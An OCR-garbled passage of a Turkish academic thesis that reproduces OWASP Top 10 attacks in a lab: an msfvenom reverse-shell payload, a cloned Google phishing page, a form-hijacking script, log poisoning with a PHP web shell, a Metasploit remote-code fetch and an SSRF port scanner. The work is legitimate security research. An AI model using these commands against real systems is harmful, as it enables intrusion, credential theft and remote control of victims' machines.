SECURITYVULNS: VULN: 14054 0.0 https://vulners.com/securityvulns/SECURITYVULNS :VULN: 14054
80/tcp open http Apache httpd 2.2.16 ((Debian))
| http-csrt:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.253.129

Sekil 3.24. Nmap ile tarama drnegi

Sekil 3.24.ten de goriildiigii lizere 22. portta bulunan SSH (Secure Shell) sunucusu
tizerinde yapilan yanlis/eksik giivenlik yapilandirmasi sebebiyle nmap araci bir¢ok
zafiyet bulmustur. Bu zafiyetler ile ilgili detayli agiklamalara, zafiyet ile ayn1 satirda

bulunan linkler aracilig: ile erisilebilir.

Nikto ile Giivenlik Taramasi: ‘nikto -h http://192.168.253.129” komutu ile tarama
baslatilabilir. Temel diizeyde arama yapabilmek igin -h parametresi ile birlikte IP

adresini vermek yeterli olacaktir.
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ni
Unknown option: help

-config+ Use this config file
-Display+ Turn on/off display outputs
-dbcheck check database and other key files for syntax errors
-Format+ save file (-o) format
-Help Extended help information
-host+ target host/URL
-1d+ Host authentication to use, format is id:pass or id:pass:realm
-list-plugins List all available plugins
-output+ Write output to this file
-nossl Disables using SSL
-no4d4 Disables 404 checks
-Plugins+ List of plugins to run (default: ALL)
-port+ Port to use (default 8@)
-root+ Prepend root value to all requests, format is /directory
-551 Force ssl mode on port
-Tuning+ Scan tuning
-timeout+ Timeout for requests (default 10 seconds)
-update Update databases and plugins from CIRT.net
-Version Print plugin and database versions
-vhost+ virtual host (for Host header)
+ requires a value

Note: This is the short help output. Use -H for full help text.

Sekil 3.25. Nikto ile kullanilabilecek parametreler

Nikto ile yapilan tarama sonucunda, hedef isletim sistemi, XSS zafiyetleri, agik
dizinler ve server varsayilan dosyasi elde edilmistir. Siiriim bilgileri ile saldirgan eski
sirim kullanan bir uygulamay1 tespit ettigi taktirde, eger uygulama iizerinde bir

zafiyet varsa bu zafiyeti somiirecek araca/script’e ¢ok kisa bir zamanda ulasabilir.

Target I 192.168.253.129
Target Hostname: 192.168.253.129
Target Port: 80

Start Time 2021-12-08

Server: Apache/2.2.16 (Debian)

Retrieved x-powered-by header: PHP/5.3.3-7+squeeze15

The anti-clickjacking X-Frame-Options header is not present.

X-XSS-Protection header has been set to disable XSS Protection. There is unlikely to be a good reason for this.

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

Uncommon header 'tcn' found, with contents: list

Apache mod_negotiation is enabled with Multiviews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The fd
Server may leak inodes via ETags, header found with file /favicon.ico, inode: 3392, size: 14634, mtime: Fri Mar 22 09:32:51 2013

Web Server returns a valid response with junk HTTP methods, this may cause false positives.

0SVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB-3268: /css/: Directory indexing found.

0SVDB-3092: /css/: This might be interesting...

0SVDB-3268: /files/: Directory indexing found.

0SVDB-3092: /fi his might be interesting

0SVDB-3268 i ectory indexing found

0SVDB-3092: /i his might be interesting...

0SVDB-3268 i : Directory indexing found.

0SVDB-3233: /icons/README: Apache default file found.

8725 requests: 0 error(s) and 21 item(s) reported on remote host

End Time 2021-12-08 21:51:35 (GMT3) (41 seconds)

1 host(s) tested

Sekil 3.26. Nikto ile zafiyetlerin taranmasi
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3.2.6. Savunmasiz ve eski bilesenler saldir1 Ornegi

Bu uygulamada Kali Linux iizerinden Windows isletim sistemi i¢in bir payload
hazirlanmistir. Bu payload araciligr ile Windows tizerinden bir backdoor olusturulup
sisteme sizma islemi gerceklestirilmistir. Uygulamada Kali Linux iizerinde kurulu
gelen ve Metasploit projesinin alt kiritlimi olan msfvenom aracindan faydalanilmastir.
Metasploit, icerisinde exploitler, payloadlar, auxiliaryler ve encoderler barindiran ve

sizma testlerinin vazgecilmezlerinden olan yazilimlardan birisidir.

Msfvenom kullanilmadan 6nce payload iiretme i¢in Msfpayload, encode islemleri
icinde Msfencode araclar1 kullanilmaktaydi. Msfvenom sayesinden bu islemler tek
bir arag¢ lizerinden kontrol edilmektedir. Encode islemi, olusturulan payload’in karsi
sistem iizerinde bulunan antiviriis, giivenlik duvari gibi yapilara takilmamasi i¢in

payload’in sifrelenmesi agsamasina verilen isimdir.

<type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
--payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
--format <format> Output format (use --list formats to list)
--encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
<arch> The architecture to use for --payload and --encoders (use --list archs to list)
<platform> The platform for --payload (use --list platforms to list)
<path> Save the payload to a file
--bad-chars <list> Characters to avoid example: '\x@0\xff'
--nopsled <length> Prepend a nopsled of [length] size on to the payload

--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (

<length> The maximum size of the resulting payload
<length> The maximum size of the encoded payload (defaults to the -s value)
Y <count> The number of times to encode the payload
--add-code <path> Specify an additional win32 shellcode file to include
--template <path> Specify a custom executable file to use as a template
--keep Preserve the --template behaviour and inject the payload as a new thread
--var-name <value> Specify a custom variable name to use for certain output formats
--timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
--help Show this message

Sekil 3.27. msfvenom ile kullanilacak parametreler

Oncelikle ‘msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128
LPORT=4444 —f exe > /home/krkymhmt/Desktop/payload.exe’ komutu ile bir

payload olusturulmustur. Burada kullanilan parametreler agiklanacak olursa:
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-p: Kullanilanilan payload’in tiiriinii belirtir. Msfvenom araci ylizlerce hazir payload
icermektedir. Bu uygulama i¢in Windows sistemler i¢in gelistirilmis reverse tcp

payload’1 kullanilmustir.

LHOST: Localhost makinesinin IP adresini belirtir. Hedef sistemin, saldirganin

bilgisayarina baglanmasi i¢in gereklidir.

LPORT: Dinlenecek port numarasini belirtir. Hedef sistem ile saldirganin hangi port

numarast lizerinden haberlesecegin bilgisidir.

-f: Hedef platform i¢in olusturulacak format belirtilir.

-0 (>): Payload’in olusturulacagi dizini belirtir.

( )-1~
[i7 ms fvenom windows/meterpreter/reverse_tecp LHOST=192.168.253.128 LPORT=4444 exe > /home/krkymhmt/Desktop/payload.exe
[-] No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
Ne encoder specified, outputting raw payload

Payload size: 354 bytes
Final size of exe file: 73802 bytes

Gy

Sekil 3.28. msfvenom ile payload’in olusturulmasi

flgili komut calistirildiktan sonra komut iizerinde belirtilen dizinde payload.exe
adinda bir calistirilabilir Windows dosyasiin olustugu goézlemlenmistir. Bu exe

dosyasi hedef sisteme gonderilmistir.

Hedef sisteme gonderilen payload’1 dinlemek i¢in Metasploit uygulamalarinda en sik
kullanilan araytiizlerden birisi olan msfconsole kullanilmistir. ‘msfconsole’ komutu

ile msfconsole araytliziine gegilmistir.

Sonrasinda use expoit/multi/handler komutu kullanilmistir. Bu komutta ‘use exploit’
ifadesi ile belirtilen komut kullanilmistir. ‘multi’ ifadesi platform sec¢imi igin

kullanilir.  ‘handler’ ifadesi ise hedef sistemden gelecek istegin dinlenecegi
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belirtilmektedir. Set payload komutu ile dinlecek olan payload’in tiirii
belirtilmektedir. Son olarak ‘show options’ komutu ile dinlenecek payload’in

bilgileri listelenmistir.

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set LHOST 192.168.253.128
LHOST => 192.168.253.128
msf6 exploit( ) > set LPORT 4444
LPORT => 4444
msf6 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: , seh, thread, process, none)
LHOST 192,168.253.128 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

Sekil 3.29. Dinlenecek payload’in bilgilerinin msfconsole araci ile olusturulmast

Tum komutlar girildikten sonra ‘exploit’ komutu ile, girilen localhost ve port
dinlemeye alinmigtir. Payload karsi sistemde calistirildiginda, baglantinin geldigi
gozlemlenmistir. Bu noktadan itibaren saldirgan, hedef sistem {iizerinde
calistirilabilecek bir ara yiize sahiptir. Sekil 3.30.’da goriildiigii tizere 1s komutu

calistirlldiginda, hedef sistemde bulunan dosya bilgileri goriintiilenmektedir.

nsf6 exploit( ) > exploit

started reverse TCP handler on 192.168.253.128:4444
Sending st (175174 bytes) to 192.168.253.1
Meterpreter session 1 opened (192.168.253.128:4444 -> 192.168.253.1:59271) at 2021-12-13 00:04:24 +0300

size Last modified

40777 /TwxTuxTUX O

40777 /Twxrwxewx 4096 ir  2021-10-13

40777/ ruxrwxrux 0 ir  2021-10-13

100777/ rwxruxrux 3803376 2021-11-30
- 116567471 2021-11-24 22:36:07 +0300
- 8686 il 2021-10-13 12:27:13 +0300

Sekil 3.30. Hedef sistemin dosya bilgilerine ulagilmast
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3.2.7. Tamimlama ve Kimlik dogrulama saldir1 Ornegi

Bu zafiyetin saldir1 senaryosu igin oltalama (phishing) saldir1 tiirii kullanilacaktir.
Oltalama saldirilari, en eski ve en etkili saldir1 tiirlerinden birisi olarak karsimiza

cikmaktadir.

Bu saldir1 senaryosu i¢in Social-Engineer Toolkit (SetoolKit) kullanilmistir. Sosyal
miithendislik saldirilar1 i¢in kullanilabilecek bir¢ok modiil mevcuttur. Payload ve
listener olusturma ve c¢oklu e-posta saldirisi gerceklestirilebilir. Sizma testi

uygulamalari i¢in de kullanilabilir.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

set> 2

Sekil 3.31. SetoolKit girig terminali

Sekil 3.31.’de goriildiigli iizere Wireless saldirilarindan QR Kod saldirilarina kadar
kullanilabilecek birgok modiill mevcuttur. Bu modiiller arasindan ‘Website Attack

Vectors’ segenegi segilir.
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The Multi-Attack method will add a combination of attacks through the web attack menu.

The HTA Attack method will allow you to clone a site and perform powershell injection

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

Sekil 3.32. Website Attack Vectors seceneginin alt kirtlimlart

Bir sonraki agsamada ‘Credential Harvester Attack Method’ secenegi secilmistir. Bu

asamada da bir¢ok zafiyet istismar metodu mevcuttur.

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

>1
Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

Sekil 3.33. Credential Harvester Attack Method ile kullanilabilecek alt kirilimlar

‘Credential Harvester Attack Method’ se¢cenegi 3 farkli yontem ile kullanilabilir.

- Web Templates: Arag ile gelen sablonlardir.

- Site Cloner: URL bilgisi girilen web sitesinin sablonu kopyalanir.

- Custom Import: Saldirgan, bilgisayarinda bulunan site sablonunu kullanir.
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Saldirgan, bu 3 yontemden diledigini secebilir. Bu saldir1 6rnegi icin ‘Web

Templates’ segenegi kullanilmistir.

*%%% Important Information ##*

For templates, when a POST is initiated to harvest
credentials, you will need a site for it to redirect.

You can configure this option under:

/etc/setoolkit/set.config

Edit this file, and change HARVESTER_REDIRECT and
HARVESTER_URL to the sites you want to redirect to
after it is posted. If you do not set these, then
it will not redirect properly. This only goes for

. Java Required
. Google
3. Twitter

Select a template:2

Sekil 3.34. SetoolKit ile gelen hazir oltalama sablonlari

Bir sonraki asamada SetoolKit, Post back islemleri i¢in IP adresi istemektedir.
Oltalama i¢in kullanilan web sayfasi, bu IP adresi {izerinden hizmet verecektir. Bos
birakilarak  varsayillan IP adresi kullamlmistir. flgili sunucu bilgilerine

/etc/setoolkit/set.config dosyasi lizerinden erisilebilir.

Varsayilan sablonlardan ise ‘Google’ secilmistir. Bu asamadan sonra arag, belirtilen
IP adresi ilizerinden hizmet vermeye baslayacaktir. Terminal ise belirtilen IP

adresi+port bilgisini dinleme(listening) modunda beklemektedir.
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© & -0 192.168.253.128 - & %

raining KaliTools « KaliDocs Kali Forums NetHunter |[| Offensive

Google

Sign in with your Google Account

mail@example-site.com
eseeeee

Need help?

Sekil 3.35. Oltalama i¢in kullanilan 6rnek bir giris sayfasi

Belirtilen IP adresi ile siteye erisim saglandiginda web sitesinin, hedef site ile aym
oldugu gozlemlenmektedir. Bu asamada dikkat edilmesi gereken husus site iizerinde
kurulu SSL sertifikasinin olmayisidir. Bu sayede saldirgan, oltalama i¢in olusturulan

site Uzerindeki tim bilgileri clear-text (sifrelenmemis metin) olarak goriilmektedir.

Sitedeki form doldurulup giris yapilmaya c¢alisildiginda oltalama saldirt
tamamlanmis olup terminal ekranina girilen e-posta adresi ve sifrenin geldigi

g6zlenmektedir.
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Sekil 3.36. Oltalama saldiris1 sonrasi kullanicinin girig bilgilerinin alinmasi

3.2.8. Yazihim ve veri biitiinliigii hatalar1 saldir1 6rnegi

Bu zafiyetin uygulama asamasinda, OWASP’1n resmi sitesinde belirtilen CWE-830:
Inclusion of Web Functionality from an Untrusted Source (Glvenilmeyen Bir

Kaynaktan Web Fonksiyonlarinin Dahil Edilmesi) zafiyeti ger¢eklestirilmistir.

Zafiyetin saldir1 senaryosu i¢in Ubuntu isletim sistemi iizerinde Apache sunucusu
olusturulmustur. Bu sunucuya CWE-830 zafiyetinde belirtilen PHP dosyasi
eklemistir. Bu senaryoda PHP dosyasinda bulunan ‘weatherWidget.js’ dosyast ilk
asamada zararli igerik bulundurmayan, sonrasinda saldirtya ugramis bir Javascript

CDN’i (Content Delivery Network) olarak kabul edilebilir.

£!DOCTYPE html>
B<html>
{ <body>
§ ss="header"> Welcome!
I i="loginBox">Please Login:

<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<diwv

WeatherWidget">
cript type="text/javascript" src="http://192.168.253.130/weatherWidget.js"></script>

</div>
</body>
</html>

Sekil 3.37. CWE-830 zafiyetinde bulunan 6rnek html dosyasinin senaryoya uygun diizenlenmis hali
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WeatherWidget.js javascript dosyasi, form igerisinde bulunan ‘loginForm’ tag

degerine sahip formu alip stealPassword.php dosyasina post etmektedir.

Open - % weal:__r_\erwiqagt.js

function processForm(e) {
form=document.getElementBvId('loginf H
form.action=| http://192.168.253. 1F
form.submit();
return

}

var form = document.getElementById( 'l
if (form.attachEvent) {
form.attachEvent( it", processForm);
} else {
form.addEventListener( it", processForm);

b

Sekil 3.38. HTML sayfasina eklenen javascript dosyasinin igerigi

Kullanic1 formu doldurup sisteme giris yapmaya ¢alistiginda formdan gelen degerler

aliip userData.txt dosyasina atilacaktir.

Welcome!
Please Login:
Username: |admin

Password: | sssssesessses H Login |

Sekil 3.39. CWE-830 zafiyetinde bulunan 6rnek html dosyasinin ¢iktisi

Open - [+ l.ls__E_*rData..l?c.t

userName= admin password=superPassword! |

Sekil 3.40. Kullanici bilgilerinin text dosyasina atilmasi

3.2.9. Gunluk guvenlik kayitlar: ve izleme hatalari saldir1 Ornegi

Bu saldirida SSH ile log dosyasina zararli komutlar eklenerek log zehirleme adi

verilen saldirt tipi gergeklestirilmistir. Saldir1 ortami i¢in Ubuntu isletim sistemi
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tizerinde caligan Apache sunucusu, hedef sistem olarak se¢ilmistir. Sunucuda

sayfalarin URL {izerinden getirildigi tespit edilmistir.

Apache Web Server X —+

< C @ © £ 192.168.253.130

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offs

Web Server Running

Sekil 3.41. URL {izerinden index.php sayfasina erigilmesi

Bu noktada bir zafiyet olabilecegi diisiintiliip URL’deki sayfa bilgisi ‘/etc/passwd’

komutu ile degistirilmistir. Sunucudan bu dosya ile alakali igerigin dondigi

gbzlemlenmistir.

192.168.253.130/Ifi/lfiphp?" X =+

< ¢ @ © /4 192.168.253.130

Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter ]| Offensive Sec
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/shin/nologin bin:x:2:2:
/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 1p:x:7:7:1p:/var/spool/lpd:fusr/s

jusr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting Systenr

Sekil 3.42. URL iizerinden sunucuda bulunan diger dosyalara erisilmesi

Oncelikle SSH protokolii kullanilarak sisteme ‘ssh user@192.168.253.130° komutu
ile giris denemesi yapilmaya calisilmistir. Komut igerisinde bulunan ‘user’ metni
kullanict adini, IP adresi ise hedef sistemin IP adresini belirtmektedir. Buradaki
amag, basarisiz olan bir giris denemesinin, log kaydinin tutulup tutulmadiginin

g6zlemlenmesidir.
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V[~
sh usergl92.168.253.130

The authenticity of host '192.168.253.130 (192.168.253.130)' can't be established.

ECDSA key fingerprint is SHA256:HDa/yCx4nYhzvWtfUSAZmfIfMLIjfTtscN4L/ZUOYPQ.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.253.138' (ECDSA) to the list of known hosts,
userg192.168.253.130"'s password:

Permission denied, please try again.

usergl92.168.253.138"'s password: I

Sekil 3.43. SSH protokoli ile belirtilen sunucuya erisim isteginin gonderilmesi

Sunucu iizerindeki, authentication ile alakali /var/log dizini altinda bulunan auth.log

dosyasi incelendiginde, basarisiz giris denemesinin log kaydi atildig1 goriilmektedir.

192.168.253.130/Ifi/lfi,php? X +

= ¢ @ © /4 192.168.253.130 w N D @

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB

rhost=192.168.253.128 Dec 18 22:36:08 ubuntu sshd[22160]: pam_ldap: could not open secret file
Jetc/ldap.secret (No such file or directory) Dec 18 22:36:08 ubuntu sshd[22160]: pam _ldap: ldap simple bind
Can't contact LDAP server Dec 18 22:36:08 ubuntu sshd[22160]: pam ldap: reconnecting to LDAP server... De
18 22:36:08 ubuntu sshd[22160]: pam ldap: Idap simple bind Can't contact LDAP server Dec 18 22:36:10
ubuntu sshd[22160]4Failed password for invalid user user from 192.168.253.128 port 45920 ssh2

Sekil 3.44. Erisim log bilgilerinin bulundugu auth.log dosyasinin igerigi

Tekrar SSH protokiilii kullanilarak kullanici adi yerine komut ¢alistirilabilmesine
olanak saglayan 'ssh ‘<?php system($_GET[‘c’]); ?>’@192.168.253.130° komutu
yazilmigtir. Buradaki amag, komutun log dosyasina yazilmasidir. ‘$SGET[‘c’]’
komutu ile URL iizerinde bulunan ‘c’ parametresi ile komutlarin alinmasi
hedeflenmektedir. Komutun icerisinde bulunan system fonksiyonu ise, ¢
parametresine girilen komutu ¢alistirmaktadir. URL {izerinden ‘c’ parametresi

degistirilerek parametre olarak gonderilen komutlar ¢alistirilabilir.

5 GETL'c"]); 7>'9)192.168.253.130
<7 php svstemf$ GET[c]}. ?7>7192.168.253.130"'s password: ||

Sekil 3.45. SSH protokolii kullanilarak zararli PHP kodunun log kayitlarina eklenmesi
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Oturum agma basarisiz olmustur ancak zararli kodlar iceren log kaydi auth.log

dosyasina atilmistir.

1 krkymhmt@ubuntu: ~/Desktop Q =] = u] x

$ tail -n 2 fvar/log/auth.log

Dec 18 22:44:50 ubuntu sshd[22257]: Connection closed by invalid user <?php system($_GET[c]); 7> 192.168.253.128 port 45930 [preauth]
Dec 18 22:44:50 ubuntu sshd[22257]: PAM 2 more authentication failures; Logname= uld=u euld=v tty=ssh ruser= rhost=192.168.253.128
H S

Sekil 3.46. Log kayitlarinda bulunan zararli PHP kodu

Msfconsole ile bu zafiyeti somiirmek icin bir exploit olusturulur. Exploit olusturmak

icin kullanilan komutlar asagidaki gibidir.

‘use exploit/multi/script/web_delivery’ : Zafiyetin sOmiiriilmesi i¢in kullanilacak

modiil se¢imi gergeklestirilmistir.

‘set target 1’: Bu komut ile hedef sistem belirtilmistir. PHP, 1°e karsilik gelmektedir.

‘set payload /php/meterpreter/reverse tcp’: Bu komut ile kullanilacak payload

belirlenmistir.
‘set lhost’: Local bilgisayarin IP adresine karsilik gelmektedir.
‘set srvport’: Local bilgisayarda acilacak port bilgisidir. Bu IP adresi ve port bilgisi

Uzerinden zafiyet istismar edilecektir.

‘exploit’: Bu komut ile girilen parametreler dogrultusunda exploit ¢aligtirilmaktadir.
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msf6 > use exploit/multi/script/web_delivery
Using configured payload python/meterpreter/reverse tcp
msf6 exploit( ) > set target 1
target => 1
msf6 exploit( ) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.253.128
lhost => 192.168.253.128
msf6 exploit( ) > set srvport 8081
srvport => 8081
msf6 exploit( ) > exploit
Exploit running as background job @.
Exploit completed, but no session was created.
msf6 exploit( ) >
Started reverse TCP handler on 192.168.253.128:4444
Using URL: http://0.0.0.0:8081/F46Lng7nsMWuU6i
Local IP: http://192.168.253.128:8081/F46Lnq7nsMWuU6i
Server started.
Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.253.128:8081/F46Lnq7nsMWul6i’, fa
1se, stream_context_create(['ssl'=>["verify_peer'=>false, 'verify_peer_name'=>falsel]l)));"

Sekil 3.47. Metasploit ile log kayitlarinda bulunan zararli PHP koduna gore exploit hazirlanmasi

Parametre tanimi tanimlandiginda msfconsole, ilgili zafiyeti somiirmek igin bir
payload hazirlamaktadir. Bu payload, URL iizerinde bulunan ve deger olarak komut
bekleyen parametreye verilmektedir.

: gkr-] 0 ubuntu sudo: pam_unix(sudo:auth): Couldn't open Tetc/secure

1 umx(sud uth): Couldn't open /etc/securetty: No such file or directory Dec 18 20:04:04 ubuntu sudo: krkymhmt : TTY=pts/1 ; PWD=/var/fwww/html/Ifi ; USER=root ; COMMANL
Dec 18 20:04:04 ubuntu sudo: pam_unix(sudo:session): session opened for user root by (uid=0) Dec 18 20:04:31 ubuntu useradd[19195]: new user: name=sshd, UID=126, GID=65
3in, from=none Dec 18 20: ubuntu usermod[19203]: change user 'sshd' password Dec 18 20:04:31 ubuntu chage[19210]: changed password expiry for sshd Dec 18 20:04:33

ng on 0.0.0.0 port 22. Dec 18 20:04:33 ubuntu sshd[19346]: Server listening on :: port 22. Dec 18 20:04:49 ubuntu sudo: pam_unix(sudo:session): session closed for user root Dec

TY=pts/1 ; PWD=/var/www/html/lfi ; USER=Toot ; COMMAND=/usr/sbin/ufw allow 22 Dec 18 20 2 ubuntu sudo: pam_unix(sudo:session): session opened for user root by (uid
liumx(sudu:s um) session closed for userruot Dec 18 20 06 15 uhuntu sshd[20187] Invalld user krkhmmtfmm 192 8.253.130 port 59880 Dec 18 20:06:19 ubuntu sshd[2018

Sekil 3.48. Metasploit ile hazirlanan komutun URL’e eklenmesi

URL, msfconsole tarafindan {iretilen payload ile tekrar ¢alistirildiginda, msfconsole

arayiizline baglant1 geldigi gortilmiistiir.

msf6 exploit( ) > sessions 1
Starting interaction with 1...

sysinfo
ubuntu

meterpreter :
Computer

Meterpreter
meterpreter

php/linux

>
0s : Linux ubuntu 5.8.0-45-generic #51~20.04.1-Ubuntu SMP Tue Feb 23 13:46:31 UTC 2021 xB6_64
>

Sekil 3.49. Metasploit ile zafiyetli sunucudan backdoor alinmasi
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3.2.10. Sunucu tarafh istek sahteciligi saldir1 Ornegi

Bu saldirida hedef sisteme zararli PHP komutlar1 eklenmistir. Eklenen komutlar

araciligi ile hedef sistem lizerinde port tarama islemi gergeklestirilmistir.

Oncelikle Kali Linux’ta ‘python -m SimpleHTTPServer 8080’ komutu ile bir sunucu
olusturulur. -m parametresi modil adini, 8080 ise port numarasini belirtmektedir.

Sunucu, ssrf.txt dosyasini zafiyetli sunucuya gondermek amaciyla olusturulmustur.

n krkymhmt@kali: ~/Desktop Q

krkyrhmt@kali: ~/Des... krkymhmt@kali: ~/Des... krkymhmt@kali: ~/

( )-[~/Desktop]
’j python SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Sekil 3.50. Kali Linux iizerinde Python kullanilarak sunucu ve ssrf.txt dosyasinin olusturulmasi

Ssrf.txt dosyasi parametre olarak aldigi IP adresinde, dosya igerisinde belirtilen
portlar iizerinde tarama yapan PHP komutlarindan olusmaktadir. Dosya
olusturulurken penetrasyon testleri i¢in zafiyetli makineler sunan, licretsiz ve agik
kaynak kodlu bWAPP laboratuvarindan faydalanilmigtir. Dosya igerigi, istenilen
bilgiler dogrultusunda gelistirilebilir.
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1 <?php
2 if(isset($_REQUEST["ip"]))

//1ist of port numbers to scan
$ports = array(21, 22, 23, 25,26, 53, 80, 110, 143, 443, 587, 993, 995, 1433, 2077, 2078, 2082, 2083, 2086, 2087, 2095, 2096, 3306);
$results = array();
foreach($ports as $port)
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))

$results[$port] = true;
fclose($pf);

else
$results[$purt] = false;
}
foreach($results as $port=3val)

$prot = getservbyport($port,"tcp");
echo "Port $port ($prot): ";

if($val)
{

echo "<span style=\"color:green\">0K</span><br/>";

else
{

echo "<span style=\"color:red\">Inaccessible</span><br/>";

oL W

Sekil 3.51. ssrf.txt dosyasinin igerigi

Sunucu {izerinde, sayfa URL’de bulunan parametreden alan bir sayfa tespit
edilmistir. Bu URL’de parametreler iizerinde degisiklikler yapilarak SSRF atak

denemesi yapilabilir.

Neb App DV X +

A Giivenli degil | 192.168.253.131/vulnerabilities/fi/}page=include.php

Sekil 3.52. Sayfa igerigini parametreye getiren URL adresi

URL’de bulunan ‘page’ parametresinin degeri ssrf.txt dosyasini gosterecek sekilde
degistirilmistir. Ayn1 zamanda ‘ip’ parametresinin degeri de saldir1 yapilacak
sunucunun [P adresi olarak eklenmistir. URL’e erisildiginde, port bilgilerinin geldigi

g6zlenmektedir.
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€ > C O 4 Givenlidegil | 192.168.253.131/vulnerabilities/fi/4page=http://192.168.253.128:8000/ssif.bfp=http://192.168.253.131]

Uygulamalar -

Port 21 (ftp): Inaccessible

Port 22 (ssh): Inaccessible

Port 23 (telnet): Inaccessible
Port 25 (smtp): Inaccessible
Port 53 (domain): Inaccessible
Port 80 (www): Inaccessible
Port 110 (pop3): Inaccessible
Port 1433 (ms-sql-s): Inaccessible
Port 3306 (mysql): Inaccessible
Port 443 (https): Inaccessible
Port 995 (pop3s): Inaccessible
Port 143 (imap2): Inaccessible
Port 993 (imaps): Inaccessible
Port 26 (): Inaccessible

Port 587 (submission): Inaccessible
Port 2082 (). Inaccessible

Port 2083 (): Inaccessible

Port 2086 (gnunet): Inaccessible
Port 2087 (): Inaccessible

Port 2095 (): Inaccessible

Port 2096 (). Inaccessible

Port 2077 (): Inaccessible

Port 2078 (): Inaccessible

Sekil 3.53. SSRF zafiyeti bulunan sunucunun port bilgilerine erisilmesi



BOLUM 4. ARASTIRMA BULGULARI

4.1. Gergeklestirilen Saldir1 Senaryolari

Bu calismanin nihai hedefi kurum ve kuruluslarin maruz kaldigi guncel siber
saldirillarin incelenmesi, 6rnek saldirt senaryolar1 ile bu saldirilarin modellenmesi,
uygulamalarda bulunan zafiyetlere dikkat c¢ekilmesi ve alinabilecek Onlemler
noktasinda Onerilerdir. Calisma igerisinde modellenen zafiyetler icin bagimsiz ve
diinya c¢apinda saygin bir topluluk olan OWASP Top 10 zafiyet listesi referans

alinmistir.

Calisma neticesinde siber giivenlik alaninda yapilmis ¢alismalar ile birlikte OWASP
tarafindan belirtilen CWE listesindeki bir¢ok zafiyet incelenmistir. Laboratuvar
ortaminda yapilacak olan her bir zafiyet i¢cin uygun ortamin hazirlanmasi ve

saldirinin gerceklesmesi i¢in ciddi hazirliklar yapilmastir.

Yapilan ¢aligmalar sonucunda, bazi siber saldir1 yontemlerinin ¢ok basit bir sekilde
yapilabilecegi gozlemlenmistir. Ayrica kullanilan araglarin giliciiniin ve ¢esitliliginin

fazla olmasi saldirganlara biiyiik kolaylik saglamaktadir.

